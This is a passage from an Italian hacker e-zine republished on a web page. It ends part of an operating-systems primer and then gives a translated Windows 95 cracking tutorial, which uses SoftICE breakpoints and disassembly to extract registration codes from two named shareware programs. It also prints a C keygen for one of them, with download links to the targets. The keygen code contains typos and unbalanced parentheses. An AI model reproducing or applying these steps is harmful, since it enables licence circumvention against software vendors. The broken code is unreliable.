| Ready => i programmi hanno avuto le risorse e sono pronte x l'esecuzione |
| (avviene la selezione dell'utente); |
| |
| Run => esecuzione del programma. |
| |
| |- si stabilisce un tempo di utilizzo detto Time Slice superato il quale |
| | si torna alla fase ready; |
| | |
| |- x le istruzioni di I/O il cui tempo di esecuzione e' maggiore |
| | rispetto a quelle logico-aritmetiche, avviene il rinvio a wait x poi |
| | tornare alla fase ready. |
| |
| INTERRUPT ==> segnale di interruzione lanciato dalla CPU. Il OS deve |
| quindi attivare un meccanismo per salvare le istruzioni |
| fino ad allora eseguite. |
| |
| Le importantissime fasi eseguite, che invito caldamente ad imparare |
| perche' danno logica a tutti il processo di elaborazione (anche il |
| nostro processo mentale!) sono: |
| 1.Conoscere istante per istante lo stato delle risorse |
| 2.Determinare le strategie in base alle quali utilizzare le risorse |
| 3.Allocare le risorse |
| 4.Deallocare le risorse. |
| ]----> x casa: imparare A MEMORIA la sequenza!! <-------[ |
| |
| |
| <<<<-@-@-@-@-@-@-@- CONFIGURAZIONI FONDAMENTALI -@-@-@-@-@-@-@->>>> |
| |
| Il sistema viene fornito all'utente finale in diverse configurazioni, |
| cinque per l'esattezza, di cui tre sono le + conosciute, e le ultime due |
| un po' piu' specifiche. |
| Ecco l'elenco: |
| 1)Sistemi dedicati |
| 2)Sistemi a lotti (batch system) |
| 3)Sistemi interattivi multiutente |
| 4)Sistemi transazionali |
| 5)Sistemi real-time |
| Vediamoli in dettaglio: |
| |
| ___ |
| /_ | ) |
| | | ) |
| | | ) SISTEMA DEDICATO __| |__ ) |
| \_____/ ) |
| |
| I sistemi dedicati sono tutti quei sistemi che prevedono l'utilizzo |
| della macchina da parte di un solo utente per volta, come succede con i |
| vari Win95/98/ME. Per capire meglio il concetto basti pensare a WinNT o |
| il 2000 che permettono a puu' utenti contemporaneamente l'utilizzo delle |
| risorse. Fortunatamente questi sistemi sono multitasking, cioe' + task |
| (jobs) possono essere avviati sulla stessa macchina ( Es. Paint e |
| Explorer). Per far cio' si utilizza un meccanisco che scompone i |
| programmi in piccole parti in modo da permetterne l'utilizzo delle |
| risorse questa caratteristica si chiama multithreading. Questo ci |
| illumina anche sull'importanza delle librerie di collegamento dinamico |
| (DLL), che permettono alla macchina di alleggerire il carico di lavoro. |
| Nel concetto di multitasking troviamo anche il termine background |
| riferito all'applicazione che lavora "in sottofondo" mentre noi facciamo |
| altro. |
| _____ |
| / _ ) ) |
| (_/ ) / ) |
| / / ) SISTEMA BATCH (il 2 mi e' uscito uno schifo,azz) |
| / /__ ) |
| (_____) ) |
| |
| Il sistema batch e' un sistema che nn permette nessuna interazione da |
| parte dell'utente, che deve "limitarsi" a dare tutti i comandi necessari |
| al fine di permettere alla macchina di "vedersela da solo". |
| Da qui il richiamo ai mitici file batch che tutti usiamo per |
| semplificare comandi e procedure sotto ms-dos, le cui radici pero' |
| affondano nel dr-dos, se nn ricordo male (si parla di fine anni 70 / |
| inizi 80). |
| Tornando a noi , questo metodo e' utilizzato principalmente per uccidere |
| i tempi morti del calcolatore conseguenti a interazioni con l'utente. |
| Cosi' come le operazioni di input vengono velocizzate (l'elaboratore |
| "parla" con la memoria di massa) anche quelle di output funzionano |
| analogalmente. L'output quindi nn si avra' su stampante o schermo, ma su |
| memoria, alla quale attingiamo tramite l'elaboratore di canale. Il |
| passaggio avviene tramite un'area di memoria (buffer) nella quale si |
| accumulano i caratteri da trasferire, anche generando l'eco sullo |
| schermo. Il significato di tutto questo va ricercato nel fatto che |
| inizialmente nn esistevano monitor e affini, e le interazioni con la |
| macchina avvenivano solo con la tastiera e la stampante. Ecco spiegato |
| il bisogno di "rimandare" la stampa. Adesso capite perche' i comandi |
| UNIX sono tutti brevissimi (ls, cat..) ? |
| |
| ___________________________________________________________________ |
| | | |
| | Le fasi del lavoro batch sono 3: | |
| | | |
| | 1) Preparazione dei dati. | |
| | In cui Offline si prepara tutta la sequenza.Oggigiorno | |
| | questo avviene tramite file di testo. | |
| | 2) Inoltro all'elaboratore. | |
| | Avveniva con le schede perforate, oggi con INVIO. | |
| | 3) Ritiro risultati. | |
| | La stampante e' stata sostituita da un + comodo monitor a 4 | |
| | milioni di colori (li ho contati :P) | |
| |___________________________________________________________________| |
| |
| _____ |
| / _ | ) |
| /_/ / / ) |
| _ | \ ) SISTEMA INTERATTIVO MULTIUTENTE \ \_\ | ) |
| \_____| ) |
| |
| In questo particolare sistema si sfrutta il concetto spiegato |
| precedentemenete del time slice, per cui ad ogni utente che usa le |
| risorse della CPU spetta un tempo di utilizzo che rende la macchina una |
| virtuale portazione condivisa, in modo che ognuno abbia l'apparenza di |
| avere un terminale diverso dagli altri. Naturalmente le risorse gengono |
| sfruttate maggiormente, ma almeno si da interattivita' agli utenti, cosa |
| che non succedeva per i sistemi batch. Il time slice avra' quindi una |
| durata minore se gli utenti della macchina saranno maggiori, proprio per |
| permettere a tutti di lavorarci. Pero' vedremo che minore sara' il T.S. |
| e maggiore sara' l'utilizzo della CPU, che si ritrovera' in system |
| overload. Quindi terremo in considerazione la velocita' |
| del processore, che verra' misurato in MIPS (milioni di istruzioni per |
| secondo). |
| |
| ____ |
| / | ) |
| / /| | ) |
| / /_| |__ ) SISTEMI TRANSAZIONALI |
| |____ __| ) |
| |__| ) |
| |
| I sistemi transizionali sono un sottoinsieme di quelli interattivi |
| multiutente, e nascono dalla necessita' di ottenere una base di dati |
| efficiente, potente e durevole. |
| Infatti pensiamo ad un grande magazzino, che ha la necessita' di |
| ottenere i dati in forma "perfetta" senza errori, e' qui che interviene |
| il sistema transazionele, che permette di registrare il movimen o nella |
| sua interezza anche in situazioni estreme, o eliminandolo sempre nella |
| sua interezza se anche solo un dato va perso, per permettere di |
| reinserirlo sucessivamente aver risolto il problema. |
| E' abbastanza difficile capire bene il funzionamento e l'importanza di |
| questo sistemo,ma basti pensare che e' utilizzato dalle reti Bancomat, |
| dalla Borsa Telematica, eccetera... |
| |
| _______ |
| | ____| ) |
| | (___ ) |
| (___ \ ) SISTEMI REAL TIME ___) ) ) |
| |______/ ) |
| |
| I sistemi real time sono i sistemi che lavorano in tempo reale, in |
| virtu' del concetto che un risultato, seppur corretto, e' inutilizzabile |
| se ottenuto in ritardo, quindi e' errato. |
| Naturalmente la velocita' del sistema di calcolo e' diversa da macchina |
| a macchina, quindi per misurarla vengono utilizzati due parametri (sono |
| di piu' ma ve li risparmi! ;-) che sono: |
| |
| @>- Attivita' della CPU (CPU activity) |
| Espressa in percentuale e': |
| |
| (TU + TS) * 100 |
| CPUA(%)= ------------------ |
| TT |
| |
| Legenda: CPUA (CPU Activity) |
| TU (Tempo Utente = tempo dedicato ai prog. degli utenti) |
| TS (Tempo Sistema = tempo dedicato alle attivita' del sistema, |
| come il time sharing) |
| TT (Tempo Totale = intervallo in cui il sistema e' al servizio |
| degli utenti) |
| |
| |
| @>- Produttivita' (Throughput) |
| Questo parametro serve ad indicare quanta CPU viene dedicata all'utente |
| misurata in millisecondi. |
| Naturalmente e' un parametro che varia insieme al tipo di lavoro che si |
| incarica la CPU. Attenzione: |
| non la Quantita' ma IL TIPO, esempio una base di dati e' diversa da uno |
| spooler. |
| |
| Thx to: un grande, forse IL grande |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| CRACKiNG iN WiND0WS (TRADUZi0NE) [True-love] 0x16/0x23 |
+--------------------------------------------------------------------------+
| |
| Disclaimerz: Non mi assumo nessuna responsabilità di quello ke sta |
| scritto qui sotto, tutto quello scritto nella guida non è mai stata |
| scritta di mio pugno ma è solo la traduzione più fedele possibile della |
| guida di ED!SON al cracking in windows. In oltre tengo a specificare |
| che io non ho mai conosciuto ED!SON ne di persona ne per virtuale, io |
| non so neanche chi sia, quindi se proprio dovete incolpare qualcuno |
| sappiate che io non centro nulla. |
| Se tutto quello che è scritto di seguito in qualche modo vi offende |
| distruggete subito questi byte dal vostro computer. Se invece non vi |
| turbano e anzi,vi interessano, spero che la mia fedele traduzione possa |
| servirvi a qualcosa. |
| Cracking in Windows |
| Guida presa da: (ED!SON's Windows95 Cracking Tutorial v 1.00)Writeln by |
| ED!SON and traslate by True-love |
| 1. Introduzione al Cracking in Windows |
| Crackare un programma Windows spesso è molto più semplice di un |
| programma che gira in DOS. In Windows, è difficile trovare qualcosa da |
| qualcuno che cerchi realmente le informazioni, finché le funzioni sono |
| in possesso di Windows. |
| Il primo (e anche l'ultimo) programma di cui tu hai bisogno è |
| SoftICE/Win 2.00(o superiore), un potente debugger della NuMega. Alcune |
| persone trovano difficile il suo uso, ma io vi spiegherò come farci un |
| efficiente debugging, e io spero che voi mi capirete :-) |
| Ho creato un Appendice (A) che potrai leggere con alcune info su |
| SoftICE/Win 2.00. Io non ho nessun problema ad installare SoftICE, se |
| tu li hai, io rinvierò il manuale. |
| 2. Piccola introduzione a SoftICE/Win 2.00 |
| Ciò dovrebbe essere una vista ragionevolmente difettosa della |
| disposizione della schermata di SoftICE: |
| Registri |
| Usa R per editare |
| Dati Window |
| Usa D per vedere un indirizzo, E per editarlo |
| Codice Window |
| Usa U per vedere un indirizzo, A per inserire un codice "asm" |
| Comando Window |
| Scrivi i comandi e leggi l'output qui |
| Altri importanti tasti sono (nella disposizione di default dei tasti): |
| "H/F1" - Aiuto in Linea |
| "F5/Ctrl+D - Gira |
| "
F8" - Step nelle funzioni |
| "
F10" - Step attraverso le funzioni |
| "
F11" - Step fuori dalle funzioni |
| 3. Trovare un codice di registrazione |
| Questa è probabilmente la via più facile per fare pratica, prendere un |
| programma Shareware e provare a registrarlo. |
| 3.1. Task Look 3.00 - Una semplice registrazione numerica |
| l'unica protezione |
| Questa è una semplice protezione, un solo codice, che non cambia. |
| 3.1.1. Esaminiamo il programma |
| E' a 16 o a 32 bit? Dove inserisco le informazioni di registrazione? |
| L'aiuto mi da alcuni indizi sul lavoro di registrazione? Andate a |
| cercarlo fuori prima di continuare! |
| ... Dovresti aver controllato ora!... Stai controllando?... |
| Hai controllato?... |
| Ok, ora tu sai che è una applicazione di Windows 95 a 32-bit, e che tu |
| puoi registrare il programma inserendo una singola Registrazione |
| Numerale in una finestra di dialogo che appare quando scegli il menù |
| "
Register|Register...". Tu sai anche, dalle letture nell'help, che ci |
| sono due tipi di registrazione: Individuale e Licenza dal Sito. Così |
| molto probabilmente ci saranno DUE controlli per validare i codici. |
| 3.1.2. Intrappolare la routine del codice |
| I codici di solito sono all'interno delle normali "
Windows Edit Boxes". |
| Per controllare il codice, il programma può leggere il contenuto delle |
| "
Edit Box" con UNA di queste funzioni: |
| 16-Bit |
| 32-Bit |
| GetWindowText |
| GetWindowTextA, GetWindowTextW |
| GetDlgItemText |
| GetDlgItemTextA, GetDlgItemTextW |
| L'ultima lettera delle funzioni a 32-bit indica se la funzione usa |
| stringhe a un-byte o a un doppio-byte. Il codice a doppio-byte è |
| RARO. Forse hai avuto la mia idea... "
Se soltanto potessi breckare su |
| GetWindowText" E - tu puoi! Ma prima devi essere sicuro che i simboli |
| siano caricati da SoftICE. (Vedi Appendice A). |
| Per settare una trappola (chiamata realmente breakpoint) in SoftICE, |
| prima devi entrare nel debugger con Ctrl-D, poi usa il comando BPX |
| seguito dal nome della funzione o dall'indirizzo della memoria. E Task |
| Look è un 32-bit così metti un breakpoint su GetWindowTextA. Se questo |
| non funziona possiamo provare con gli altri. |
| Scrivi questo in SoftICE: |
| :bpx getwindowtexta |
| Se hai un messaggio come "
No LTD", assicurati che non stiano girando |
| altri programmi in background. Ho saputo che Norton Commander/DOS |
| disturba queste funzioni. Puoi vedere se hai attivato alcuni breakpoint |
| dalla lista dei brack points scrivendo: |
| :bl |
| Questo ti risponde qualcosa del genere: |
| BPX USER32!GetWindowTextA C=01 |
| Per uscire da SoftICE, devi premere ancora Ctrl-D. |
| Allora, comunque, hai settato i tuoi breackpoint che intrappoleranno |
| qualunque chiamata verso GetWindowTextA. Ora prova a inserire alcuni |
| valori del numero di registrazione nel campo e primi OK... Premi Ok... |
| e ti comparirà subito una stupida finestra di messaggio che ti dirà che |
| il codice da te inserito era sbagliato. Così non era GetwindowTextA... |
| Ora prova GetDlgItemTextA. Prima cancelliamo il vecchio breackpoint: |
| :bc 0 |
| (0 corrisponde al numero del breakpoint nella lista dei breakpoint) |
| Ora setta il nuovo: |
| :bpx getdlgitemtexta |
| Proviamo ancora... |
| 3.1.3. Nel Debugger |
| Wow! Lavora! Ora sei dentro a SoftICE., al punto dove la funzione |
| GetDlgItemTextA parte. Per saltare al punto dove era stato chiamato, |
| premi il tasto F11. Ora sei dentro SGLSET.EXE, se non ne sei sicuro, |
| guarda sopra la linea tra il codice e il comando di window, dovrebbe |
| essere come questo: |
| ---------------SGLSET!.text+1b13------------------ |
| Ora puoi anche disabilitare i breakpoint facendo questo: |
| :bd0 |
| Per riabilitarlo più tardi se vuoi farlo girare ancora fai questo: |
| :be0 |
| La prima linea nella finestra del codice è come questa: |
| CALL [USER32!GetDlgItemTextA] |
| Per vedere le linee sopra, premi Ctrl+ il tasto con la freccia rivolta |
| verso su un po di secondi, fino a quando vedi la linea superiore. Se |
| non sai niente di Assembler, ho aggiunto i commenti alle linee. |
| RET ; Fine della funzione |
| PUSH EBP ; Inizio della funzione |
| MOV EBP, ESP ; ... |
| SUB ESP, 0000009C ; ... |
| PUSH ESI ; ... |
| > LEA EAX, [EBP - 34] ; EAX = EBP - 34 |
| PUSH EDI ; ... |
| MOVE ESI, ECX ; ... |
| PUSH 32 ; Salva: la stringa con la grandezza massima |
| > PUSH EAX ; Salva: l'indirizzo del testo amplificato |
| PUSH 000003F4 ; Salva: l'identificatore di controllo |
| PUSH DWORD PTR [ESI+1C] ; Salva: il titolo della finestra |
| di dialogo |
| CALL [USER32!DlgItemTextA] ; Prende il testo |
| Il comando PUSH salva i valori per un uso futuro. Ho segnato le linee |
| più importanti con un "
>". Guardando questo sappiamo che l'indirizzo |
| del testo amplificato era memorizzato in EAX, e che EAX era EBP-34. |
| Così ora guardiamo a EBP-34 così: |
| :d ebp-34 |
| Ora se guardi nella "
data window" dovresti essere capace di leggere |
| quello che avevi inserito. Ora abbiamo trovato un posto dove il codice |
| è inserito con una funzione. Steppiamo attraverso il programma una |
| istruzione alla volta con F10 fino a quando troviamo qualcosa circa |
| EBP-34... non steppare molto durante questo codice: |
| >LEA EAX, [EBP+FFFFFF64* ; EAX=EBP-9C |
| LEA ECX, [EBP-34] ; ECX=EBP-34 |
| PUSH EAX ; Salva EAX |
| PUSH ECX ; Salva ECX |
| >CALL 00403DD0 ; Chiama una funzione |
| ADD ESP, 08 ; Cancella le informazioni salvate |
| TEST EAX, EAX ; Controlla la funzione di ritorno |
| JNZ 00402BC0 ; Salta se non è zero |
| Per me, questa sembra direttamente come una stringa che controlla la |
| funzione. Questa funzione così: |
| *Inserisci 2 stringhe, ritorna zero se è uguale, altrimenti non-zero |
| E perché il programma dovrebbe controllare una stringa con una |
| inserita? Per vedere se era valida! (Come probabilmente hai già |
| immaginato) Allora, com'è il nascondiglio dietro all'indirizzo |
| [EBP+FFFFFF64] dunque? SoftICE non manipola i numeri negativi molto |
| bene, così per trovare il valore reale fai questo calcolo: |
| 100000000 - FFFFFF64 = 9C |
| Puoi fare il calcolo in SoftICE così: |
| :? 0-FFFFFF64 |
| Il numero 100000000 è troppo grande per SoftICE, ma da lo stesso |
| risultato in un altro modo. |
| E ora... è ora di guardare cosa si nasconde dietro EBD-9C... così: |
| :d ebd-9c |
| La finestra dei dati ora mostrerà una lunga fila di numeri - il codice! |
| Ma ricorda cosa dicevo inizialmente... 2 tipi di registrazione danno 2 |
| codici... così dopo che tu hai copiato il codice, continuiamo a steppare |
| con F10... Arriviamo a questo pezzo di codice: |
| >LEA EAX, [EBP-68] ; EAX = EBP-68 |
| LEA ECX, [EBP-34] ; ECX = EBP-34 |
| PUSH EAX ; Salva EAX |
| PUSH ECX ; Salva ECX |
| >CALL 00403DD0 ; Chiama ancora la funzione |
| ADD ESP, 08 ; Cancella le informazioni salvate |
| TEST EAX, EAX ; Controlla la funzione di ritorno |
| JNZ 00402BBF ; Salta se non è zero |
| E cosa trovi all'indirizzo EBP-68? Allora... un altro codice |
| di registrazione! |
| :d ebp-68 |
| Questo è tutto... Spero che tutto funzioni! |
| 3.1. Command Line 95 - Facile registrazione nome/codice, e inserimento |
| di un keymaker |
| Questo è un semplice programma, con un codice di calcolazione |
| molto facile. |
| 3.1.1. Esaminando il programma |
| Esamina il programma e vedi un codice a 32-bit, richiede un Nome e un |
| Codice nel dialogo di registrazione. |
| Allora iniziamo! |
| 3.1.2. Intrappola la routine del codice |
| Facciamo come TaskLook - settiamo i breakpoint. Possiamo settare i |
| breakpoint alla nascita delle 2 funzioni più importanti: GetWindowTextA |
| e DlgItemTextA. Premi Ctrl+D per far apparire SoftICE, poi: |
| :bpx getwindowtexta |
| bpx getdlgitemtexta |
| Ora andiamo al dialogo di registrazione, e inseriamo un nome e un |
| numero qualunque (un numero intero è il codice più usato), io ho |
| scritto questo, e ho premuto OK... |
| Name: ED!SON '96 |
| Code: 12345 |
| Il programma si è fermato a GetDlgItemTextA. Proprio come con TaskLook, |
| premiamo F11 per tornare alla funzione della chiamata. Scorriamo in su |
| con Ctrl+su e la call e come questa: |
| MOV ESI, [ESP+09C] ; Lunghezza massima |
| PUSH 1E ; Indirizzo amplificato |
| PUSH 0040A680 ; Controllo manipolato |
| PUSH ESI ; Dialogo manipolato |
| CALL [USER32!GetDlgItemTextA] |
| Io numero 40A680 per noi è interessante guardarlo; allora controlliamo |
| questo indirizzo: |
| :d 40a680 |
| Allora, guardiamo attraverso questo pezzo di codice, e ci dice: |
| PUSH 00 ; (Non interessante) |
| PUSH 00 ; (Non interessante) |
| PUSH 000003F6 ; Controllo manipolato |
| MOV EDI, 0040A680 ; Salva l'indirizzo amplificato |
| PUSH ESI ; Dialogo manipolato |
| CALL [USER32!GetDlgItemInt] |
| GetDlgItemItem è simile a GetDlgItemTextA, ma ritorna ad un numero |
| intero da una "
text box". E' ritornato in EAX, allora steppiamo dopo |
| queste istruzioni, e guardiamo nella finestra dei registri... A me |
| mi dice: |
| EAX=00003039 |
| E come è 3039 in hex? Scrvi: |
| :? 3039 |
| E hai questo: |
| 00003039 |
| 0000012345 |
| "
09" |
| ^ hex |
| ^ dec |
| ^ ascii |
| E, come puoi vedere (e avevi già supposto), ci mostra il codice che |
| avevi scritto. Ok, Come ora? Diamo un occhiata al codice che segue, |
| prima è salvato il codice di ritorno: |
| MOV [0040A548] ; Codice di ritorno salvato |
| MOV EDX, EAX ; Mette il codice di ritorno in DX |
| 3.1.3. Calcolando il codice |
| Dopo il codice è calcolato! |
| MOVE ECX, FFFFFFFF ; Questa linea manipola la stringa di calcolo |
| SUB EAX, EAX ; . |
| REPNZ SCASB ; . |
| NOT ECX ; . |
| DEC ECX ; ECX ora contiene la manipolazione |
| MOVSX EAX, BYTE PTR [0040A680] ; Prende byte a 40A680 |
| IMUL ECX, EAX ; ECX = ECX * EAX |
| SHL ECX, 0A ; Trasferisce a sinistra il passo 0A |
| ADD ECX, 0002F8CC ; Aggiunge 2f8cc al risultato |
| MOV [0040A664], ECX |
| E valicato... |
| CMP ECX, EDX ; Confronta i codici |
| JZ 00402DA6 ; Se è uguale, salta... |
| Quando hai steppato al codice di confronto, potete controllare come |
| dovrebbe essere REALMENTE il vostro codice: |
| :? Ecx |
| A me da questo: |
| 000DC0CC 0000901324 |
| Questo significa che per me il codice esatto è 901324 |
| Quindi premiamo F5 o Ctrl+D, per permettergli di rigirare, e riproviamo |
| ancora, con il codice ESATTO, ma nella forma decimale. Lavora!!! |
| 4. Fare un keymaker per Command Line 95 |
| Guardiamo alla calcolazione del codice, e traduciamolo in C. Inseriamo |
| questa descrizione molto semplice di come il codice è calcolato: |
| codice = ( (prima_lunghezza_maiuscola * lunghezza_della_stringa) << |
| 0x0A) + 0x2F8CC; |
| Nota (1): Una cosa da non dimenticare quando li inserisci nella "
text |
| box" è che tutti i parametri sono stati convertiti in maiuscolo, così |
| noi dobbiamo fare lo stesso. |
| Nota (2): "
<<0x0A" significa "moltiplica con 2^10 (2 alla decima)" |
| Tutti i programmi in C dovrebbero essere come questo: |
| #include <string.h> |
| #include <stdio.h> |
| int main() |
| { |
| unsigned long code; |
| unsigned char buffer [0x1e]e; |
| printf ("
CommandLine95 Keymaker by ED!SON '96\n"); |
| printf ("
Enter name: "); |
| gets (buffer); |
| strupr (buffer); |
| code = ( (unsigned long)buffer [0] * |
| (unsigned long)strlen (buffer)) |
| << 0x0A) + 0x2f8cc; |
| |
| pritf ("
Your code is: %lu", code); |
| return 0; |
| } |
| Goditela! |
| 4. Come funzionano veramente PUSH e CALL quando il programma chiama |
| una funzione |
| Diamo ancora un'occhiata a questo pezzo di codice preso da Task Look: |
| PUSH 32 ; Salva: la misura massima della stringa |
| PUSH EAX; Salva: l'indirizzo del testo ingrandito |
| PUSH 000003F4; Salva: l'identificatore di controllo |
| PUSH DWORD PTR [ESI+1C]; Salva: la manipolazione della "
dialog box" |
| CALL [USER32!GetDlgItemTextA]; Prende il testo |
| Se la chiami da un programma C, la chiamata sarà come questa: |
| GetDlgItemTextA(hwndDLG, 0x3F4, buffer, 0x32) |
| ^ [ESI+1C] ^ EAX |
| PUSH salva i dati in qualcosa chiamata lo "
Stack". Questi risultati in |
| ciascun PUSH inserisce un nuovo pezzo di dati all'inizio dello stack, e |
| la funzione dopo controlla come è posizionata nello stack e lo usa per |
| farci qualsiasi cosa è stato pensato. |
| 5. Riguardo ai programmi in Visual Basic |
| I file in Visual Basic non sono .EXE reali, compilati in EXE. Essi |
| contengono codice sufficente per chiamare BRUNxxx.DLL, che legge i dati |
| da exe per far girare il programma. Questo è anche un motivo del perché |
| i programmi in Visual Basic sono così lenti. E quando i file EXE non |
| sono reali, non puoi disassemblarli, trovi appena la chiamata alla DLL |
| e molta immondizia, e quando debugghi, finisci troppo nelle DLL. La |
| soluzione è un decompilatore. C'è un decompilatore per Visual Basic |
| 2 & 3, creato da qualcuno chiamato DoDi. E' shareware ed è disponibile |
| in rete. (Vedi Appendice C) In windows 95, ci sono applicazione per |
| versioni di Visual Basic a 32-bit, e per loro non c'è decompilatore che |
| io conosca, sebbene spero che ci fosse. |
| Nota: Nessun vero (o brillante) programmatore crea programmi in Basic. |
| A. Creare i "
Load symbols" in SoftICE |
| Per controllare se SoftICE ha caricato i simboli per GetwindowText, |
| entra in SoftICE con Ctrl+D e scrivi così: |
| :exp getwindowtext |
| Se non ti da tutto il listato delle funzioni di GetWindoText, devi |
| editare \SIW95\WINICE.DAT rimovendo il carattere "
;" da alcune linee |
| "
exp=" che seguono con questo testo: "Examples of export symbols that |
| can be included for Chicago" vicino alla fine del file. Puoi rimuovere |
| il punto e virgola da tutte le linee, oppure salvarlo in memoria, con |
| ognuno di questi file: kernel32.dll, user32.dll, gdi32.dll, che sono |
| quelli più importanti. |
| Quando stai editando, dovrai riavviare il computer per apportare |
| le modifiche. |
| B. Sintassi per le funzioni |
| E' sempre molto semplice capire le chiamate delle funzioni, ne parliamo |
| a proposito per quando le devi dichiarare, iniziamo: |
| int GetWindowText(int windohandle, char *buffer, int maxlen); |
| int GetDlgItemText(int dialoghandle, int controlid, char *buffer, |
| int maxlen); |
| int GetDlgItemInt(int dialoghandle, int controlid, int *flag, |
| int type); |
| Per una descrizione più dettagliata delle funzioni, controlla in |
| Windows/Win32 un riferimento sulla programmazione. |
| C. Dove ottenere i software |
| Tool per crackare: |
| SoftICE/win 2.00: http://www.geocities.com/soho/2680/cracking.html |
| Decompilatore VB: ftp://ftp.sn.no/user/balchen/vb/decompiler |
| Programmi d'esempio: |
| TaskLock: http://users.aol.com/sajernigan/sgllck30.zip |
| Command Line |
| 95: ftp://ftp.winsite.com/pub/pc/win95/miscutil/cline95.zip |
| D. Contattatemi |
| Su IRC (EFNET): In #Ucf96, #Cracking |
| Per E-Mail: edison@ccnux.urm.my o an461165@anon.penet.fi |
| Alla mia Home Page: http://www.geocities.com/soho/2680/cracking.html |
| La traduzione della guida è finita, ricordo che tutto quello scritto |
| sopra di questo non altro che la traduzione fe

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT